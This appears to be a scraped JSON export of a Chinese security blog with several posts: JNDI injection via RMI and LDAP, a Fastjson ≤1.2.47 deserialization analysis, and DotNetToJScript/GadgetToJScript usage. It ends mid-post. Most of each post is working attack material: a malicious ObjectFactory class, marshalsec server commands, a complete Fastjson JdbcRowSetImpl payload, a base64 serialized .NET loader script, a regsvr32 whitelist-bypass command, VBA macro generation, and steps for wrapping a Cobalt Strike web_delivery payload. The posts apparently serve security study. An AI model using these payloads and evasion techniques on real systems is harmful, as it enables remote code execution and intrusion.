相关链接https://javasec.org/javase/RMI/https://xz.aliyun.com/t/7079https://xz.aliyun.com/t/2223https://xz.aliyun.com/t/6660#toc-0https://blog.51cto.com/liyongyao/1205723","categories":[{"name":"Java_Sec","slug":"Java-Sec","permalink":"http://patrilic.top/categories/Java-Sec/"}],"tags":[{"name":"RMI","slug":"RMI","permalink":"http://patrilic.top/tags/RMI/"}]},{"title":"JNDI注入","slug":"JNDI注入","date":"2020-03-15T08:41:55.000Z","updated":"2020-03-15T08:46:52.757Z","comments":true,"path":"2020/03/15/JNDI注入/","link":"","permalink":"http://patrilic.top/2020/03/15/JNDI注入/","excerpt":"","text":"@Author: Patrilic@Time: 2020-3-15 16:41:55 0x00 JNDIJNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。 JNDI是一个API,允许客户端通过name发现和查找数据和对象。 123456// JndiNameString jndiName= ...;// InitialContext context = new InitialContext();// lookup该name的数据DataSource ds = (DataSourse)context.lookup(jndiName); 0x01 JNDI-RMIJNDI注入就是如果我们可以任意控制jndiName的值,那么就可以通过加载JNDI,远程执行Class RMI的工厂类: com.sun.jndi.rmi.registry.RegistryContextFactorypoc.java123456789101112package com.patrilic.jndipoc;import javax.naming.Context;import javax.naming.InitialContext;public class poc { public static void main(String[] args) throws Exception { String uri = \"rmi://127.0.0.1:1099/Exploit\"; Context ctx = new InitialContext(); ctx.lookup(uri); }} Exploit.java123456789101112131415161718192021222324252627import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Exploit implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { exec(\"xterm\"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"); } catch (IOException e) { e.printStackTrace(); } return \"\"; } public static void main(String[] args) { exec(\"123\"); }} 利用marshalsec起一个rmiServer1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8001/\\#Exploit 调用链 javax/naming/InitialContext.java com/sun/jndi/toolkit/url/GenericURLContext.class com/sun/jndi/rmi/registry/RegistryContext.class 与registry通讯,获取RMI服务的IP。 直接进入到help.loadClass() 0x02 JNDI-LDAPLDAP工厂类:com.sun.jndi.ldap.LdapCtxFactorypoc.java123456789101112package com.patrilic.jndipoc;import javax.naming.Context;import javax.naming.InitialContext;public class poc { public static void main(String[] args) throws Exception { String uri = \"ldap://127.0.0.1:1389/Exploit\"; Context ctx = new InitialContext(); ctx.lookup(uri); }} 首先同样通过javax/naming/InitialContext.java#lookup ldap在com/sun/jndi/url/ldap/ldapURLContext.class中进行处理 com/sun/jndi/toolkit/url/GenericURLContext.class com/sun/jndi/ldap/LdapCtx.class 最后覆盖类执行命令javax/naming/spi/DirectoryManager.jave 0x03 版本限制 RMI动态加载恶意类 : 7u21、6u45 JNDI - RMI : 6u132、7u122、8u113 JNDI - LDAP : 6u211、7u201、8u191、11.0.1 0x04 相关链接https://xz.aliyun.com/t/6633https://kingx.me/Exploit-Java-Deserialization-with-RMI.htmlhttps://javasec.org/javase/JNDI/","categories":[{"name":"Java_Sec","slug":"Java-Sec","permalink":"http://patrilic.top/categories/Java-Sec/"}],"tags":[{"name":"JNDI","slug":"JNDI","permalink":"http://patrilic.top/tags/JNDI/"}]},{"title":"Fastjson =< 1.2.47 反序列化漏洞分析","slug":"Fastjson =< 1.2.47 反序列化漏洞分析","date":"2020-03-14T15:08:55.000Z","updated":"2020-03-24T12:19:29.356Z","comments":true,"path":"2020/03/14/Fastjson =< 1.2.47 反序列化漏洞分析/","link":"","permalink":"http://patrilic.top/2020/03/14/Fastjson =< 1.2.47 反序列化漏洞分析/","excerpt":"","text":"@Author: Patrilic@Time: 2020-3-14 23:08:55 0x00 RMI和LDAP的适用版本 RMI的利用方式:适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。 LDAP的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。 0x01 PocExp.java123456789101112package com.patrilic.fastjson;import com.alibaba.fastjson.JSON;//import com.alibaba.fastjson.JSONObject;public class exp { public static void main(String[] argv) {// System.out.print(\"Success\"); String payload = \"{\\\"name\\\":{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\"},\\\"x\\\":{\\\"@type\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\",\\\"dataSourceName\\\":\\\"rmi://localhost:1099/Exploit\\\",\\\"autoCommit\\\":true}}}\"; JSON.parse(payload); }} Exploit.java123456789101112131415161718192021222324252627import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Exploit implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { exec(\"xterm\"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"); } catch (IOException e) { e.printStackTrace(); } return \"\"; } public static void main(String[] args) { exec(\"123\"); }} RMI服务器由marshalsec-0.0.3-SNAPSHOT-all.jar启动1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8001/\\#Exploit 运行exp的时候,发现并不能成功执行因为jdk版本不支持,当前版本为8u191,ldap和rmi的方式都不行,切换版本到7u80 0x02 漏洞分析程序最先进入到DefaultJSONNParser,将整个payload作为参数传入Json的解释器,进入到DefaultJsonParser.parser()函数 经过逐位的数据读取,将Json的Key分割开,调用addSymbol()函数加入到symbolTable 如果获取到的key是@type,就通过clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures())是否是黑名单中的类 因为@type == "java.lang.class,不在黑名单内,所以会将value带入加载 跟进deserializer 可以看到StrVal = objVal,而objVal就是等于poc中给出的val参数 然后下面经过一堆if判断,进入到TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()) 跟进loadClass() MiscCode:548行 最后进入JdbcRowSetImpl通过调用SetAutoCommit() -> connect()对dataSourceName进行lookup,实现rmi注入com/alibaba/fastjson/parser/DefaultJSONParser.class 0x03 流程 0x04 Patchhttps://github.com/alibaba/fastjson/commit/11b92d9f33119ca2af1a3fe6f474de5c1810e686#diff-d09347575523cbca09b52606214d95a7 将cache设为了false https://github.com/alibaba/fastjson/commit/8034935a5405a135e77caa1e2f61b3e78fc02da8 0x05 相关链接https://www.03sec.com/3240.shtmlhttps://kingx.me/Exploit-Java-Deserialization-with-RMI.htmlhttps://javasec.org/javase/JNDI/https://paper.seebug.org/994/https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/","categories":[{"name":"Java_Sec","slug":"Java-Sec","permalink":"http://patrilic.top/categories/Java-Sec/"}],"tags":[{"name":"FastJson","slug":"FastJson","permalink":"http://patrilic.top/tags/FastJson/"}]},{"title":"DotNetToJScript && GadgetToJScript","slug":"DotNetToJScript && GadgetToJScript","date":"2020-03-10T09:48:22.000Z","updated":"2020-03-10T09:58:38.565Z","comments":true,"path":"2020/03/10/DotNetToJScript && GadgetToJScript/","link":"","permalink":"http://patrilic.top/2020/03/10/DotNetToJScript && GadgetToJScript/","excerpt":"","text":"@Author: Patrilic@Time: 2020-03-10 17:48:22 0x00 First of AllDotNetToJScript和GadgetToJScript两个项目都可以将.Net程序封装在VBS或JS脚本中执行。 0x01 DotNetToJScriptBuildGithub: https://github.com/tyranid/DotNetToJScript .Net 框架版本设置为 2.0 报错:缺少程序集引用Linq 解决方法:添加引用 C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Core.dll 编译成功后,生成两个文件夹: Usage打开ExampleAssembly的cs源文件 可以看到其实只是调用了MessageBox()函数,弹出一个框,先利用这个Dll进行测试 ToJS1DotNetToJScript.exe -o test.js ExampleAssembly.dll 打开test.js123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142function setversion() {}function debug(s) {}function base64ToStream(b) { var enc = new ActiveXObject(\"System.Text.ASCIIEncoding\"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject(\"System.Security.Cryptography.FromBase64Transform\"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject(\"System.IO.MemoryStream\"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms;}var serialized_obj = \"AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy\"+\"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph\"+\"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk\"+\"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD\"+\"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl\"+\"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU\"+\"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl\"+\"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90\"+\"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu\"+\"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH\"+\"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA\"+\"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw\"+\"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu\"+\"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA\"+\"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u\"+\"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5\"+\"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR\"+\"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA\"+\"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y\"+\"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh\"+\"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz\"+\"ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy\"+\"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMADRBnXgAAAAAA\"+\"AAAA4AAiIAsBMAAACgAAAAgAAAAAAAAaKAAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA\"+\"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAyCcA\"+\"AE8AAAAAQAAADAQAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAJAmAAAcAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA\"+\"AAAALnRleHQAAAAgCAAAACAAAAAKAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAADAQAAABA\"+\"AAAABgAAAAwAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAASAAAAAAAAAAAA\"+\"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPwnAAAAAAAASAAAAAIABQB4IAAAGAYAAAEAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcgIoDgAACgAA\"+\"cgEAAHByAQAAcBYfMCgPAAAKJiomAAMoEAAACiYqAEJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3\"+\"AAAAAAUAbAAAAAQCAAAjfgAAcAIAAIACAAAjU3RyaW5ncwAAAADwBAAADAAAACNVUwD8BAAAEAAA\"+\"ACNHVUlEAAAADAUAAAwBAAAjQmxvYgAAAAAAAAACAAABRxUAAAkAAAAA+gEzABYAAAEAAAAUAAAA\"+\"AgAAAAIAAAABAAAAEAAAAA4AAAABAAAAAwAAAAAAZAEBAAAAAAAGANQA2AEGAEEB2AEGACEApgEP\"+\"APgBAAAGAEkAjgEGALcAjgEGAJgAjgEGACgBjgEGAPQAjgEGAA0BjgEGAGAAjgEGADUAuQEGABMA\"+\"uQEGAHsAjgEGAEMCeAEKAGICBwIKAEoCBwIKABwCBwIKAH8BBwIOADsCpgEAAAAAAQAAAAAAAQAB\"+\"AAEAEAAuAgAAPQABAAEAUCAAAAAAhhigAQYAAQBtIAAAAACGADgCEAABAAAAAQBfAQkAoAEBABEA\"+\"oAEGABkAoAEKACkAoAEQADEAoAEQADkAoAEQAEEAoAEQAEkAoAEQAFEAoAEQAFkAoAEQAGEAoAEV\"+\"AGkAoAEQAHEAoAEQAHkAoAEGAIEAXQIaAKEAVwIlAC4ACwA0AC4AEwA9AC4AGwBcAC4AIwBlAC4A\"+\"KwB6AC4AMwCkAC4AOwCkAC4AQwBlAC4ASwCqAC4AUwCkAC4AWwCkAC4AYwDPAC4AawD5AEMAWwAG\"+\"AQSAAAABAAAAAAAAAAAAAAAAAG0CAAACAAAAAAAAAAAAAAArAAoAAAAAAAIAAAAAAAAAAAAAACsA\"+\"BwIAAAAAAgAAAAAAAAAAAAAAKwB4AQAAAAAAAAA8TW9kdWxlPgBtc2NvcmxpYgBHdWlkQXR0cmli\"+\"dXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxl\"+\"QXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25B\"+\"dHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRp\"+\"b25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1\"+\"Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0\"+\"cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAHBhdGgARXhhbXBsZUFzc2VtYmx5\"+\"LmRsbABTeXN0ZW0ATWVzc2FnZUJveEljb24AU3lzdGVtLlJlZmxlY3Rpb24ALmN0b3IAU3lzdGVt\"+\"LkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGlt\"+\"ZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAFN5c3RlbS5XaW5kb3dzLkZvcm1zAE1l\"+\"c3NhZ2VCb3hCdXR0b25zAFRlc3RDbGFzcwBSdW5Qcm9jZXNzAE9iamVjdABEaWFsb2dSZXN1bHQA\"+\"U3RhcnQAU2hvdwBNZXNzYWdlQm94AEV4YW1wbGVBc3NlbWJseQAAAAAACVQAZQBzAHQAAADj3KEj\"+\"e42OT40NcZVxyoeHAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIKAAQRRQ4OEUkRTQUAARJRDgi3\"+\"elxWGTTgiQgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQAHAQAAAAAU\"+\"AQAPRXhhbXBsZUFzc2VtYmx5AAApAQAkRXhhbXBsZSBBc3NlbWJseSBmb3IgRG90TmV0VG9KU2Ny\"+\"aXB0AAAFAQAAAAAkAQAfQ29weXJpZ2h0IMKpIEphbWVzIEZvcnNoYXcgMjAxNwAAKQEAJDU2NTk4\"+\"ZjFjLTZkODgtNDk5NC1hMzkyLWFmMzM3YWJlNTc3NwAADAEABzEuMC4wLjAAAAUBAAEAAAAAAAAM\"+\"EGdeAAAAAAIAAAAcAQAArCYAAKwIAABSU0RTyVZuj/N+iUu1llptRFdfnAEAAABDOlxVc2Vyc1xQ\"+\"YXRyaWxpY1xEZXNrdG9wXERvdE5ldFRvSlNjcmlwdFxFeGFtcGxlQXNzZW1ibHlcb2JqXERlYnVn\"+\"XEV4YW1wbGVBc3NlbWJseS5wZGIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAnAAAAAAAAAAAAAAooAAAAIAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAD8JwAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgABAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAA\"+\"AAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAAsAMAAAAAAAAAAAAAsAM0AAAA\"+\"VgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAA\"+\"AD8AAAAAAAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8A\"+\"AAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBBADAAABAFMAdAByAGkAbgBn\"+\"AEYAaQBsAGUASQBuAGYAbwAAAOwCAAABADAAMAAwADAAMAA0AGIAMAAAAGIAJQABAEMAbwBtAG0A\"+\"ZQBuAHQAcwAAAEUAeABhAG0AcABsAGUAIABBAHMAcwBlAG0AYgBsAHkAIABmAG8AcgAgAEQAbwB0\"+\"AE4AZQB0AFQAbwBKAFMAYwByAGkAcAB0AAAAAAAiAAEAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUA\"+\"AAAAAAAAAABIABAAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAARQB4AGEAbQBw\"+\"AGwAZQBBAHMAcwBlAG0AYgBsAHkAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEA\"+\"LgAwAC4AMAAuADAAAABIABQAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEUAeABhAG0AcABs\"+\"AGUAQQBzAHMAZQBtAGIAbAB5AC4AZABsAGwAAABiAB8AAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkA\"+\"ZwBoAHQAAABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIABKAGEAbQBlAHMAIABGAG8AcgBzAGgAYQB3\"+\"ACAAMgAwADEANwAAAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA\"+\"AABQABQAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAARQB4AGEAbQBwAGwAZQBB\"+\"AHMAcwBlAG0AYgBsAHkALgBkAGwAbAAAAEAAEAABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAA\"+\"RQB4AGEAbQBwAGwAZQBBAHMAcwBlAG0AYgBsAHkAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQBy\"+\"AHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIA\"+\"cwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABw4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\"AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs\"+\"ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA\";var entry_class = 'TestClass';try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); } catch (e) { debug(e.message);} 可以看到都是需要调用.net中的库,然后进行一个反序列化解密的过程 ToVBS需要注意的是,生成VBS脚本需要使用-l参数指定vbscript1DotNetToJScript.exe -l vbscript -o test2.vbs ExampleAssembly.dll ToVBA生成的VBA可以用来插入office宏1DotNetToJScript.exe -l vba -o test.txt ExampleAssembly.dll ToSCT1DotNetToJScript.exe -u -o test.sct ExampleAssembly.dll 利用regsvr32.exe白名单执行1regsvr32.exe /u /n /s /i:test.sct scrobj.dll ToWSC1DotNetToJScript.exe -m -o test.wsc ExampleAssembly.dll 生成的wsc文件只需要在其他js/asp环境下调用即可1GetObject(\"script:C:\\\\Users\\\\Patrilic\\\\Desktop\\\\DotNetToJScript\\\\DotNetToJScript\\\\bin\\\\Debug\\\\test.wsc\"); With Covenaut.Net程序都可以直接-c指定类去转换 With Powershell利用StarFighters 可以直接在vbs和js中执行powershell代码 在test.txt中写入cs的web_delivery 1234$code = Get-Content -Path test.txt$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);$encoded = [System.Convert]::ToBase64String($bytes)$encoded 替换EncodedPayload芜湖~ Analyse整个包分为两个项目 主要还是DotNetToJScript在Program.cs的程序开始就定义了三个Language 在IScriptGenerator中定义了接口,然后在switch语句中选取具体的生成器 数据经过处理加密后,直接Properties.Resources.jscript_template.Replace替换模版中的变量 0x02 GadgetToJScriptBuildGithub: https://github.com/med0x2e/GadgetToJScript 我这里使用 .NET 4.6.1 直接可以编译成功 Usage 原程序默认提供了js,vbs,vba,hta,四种文件转换 ToJS1GadgetToJScript.exe -w js -e hex -o test 老规矩,看看源码12345678910111213141516171819202122232425262728293031323334353637383940function Base64ToStream(b,l) { var enc = new ActiveXObject(\"System.Text.ASCIIEncoding\"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject(\"System.Security.Cryptography.FromBase64Transform\"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject(\"System.IO.MemoryStream\"); ms.Write(ba, 0, l); ms.Position = 0; return ms;}var stage_1 = 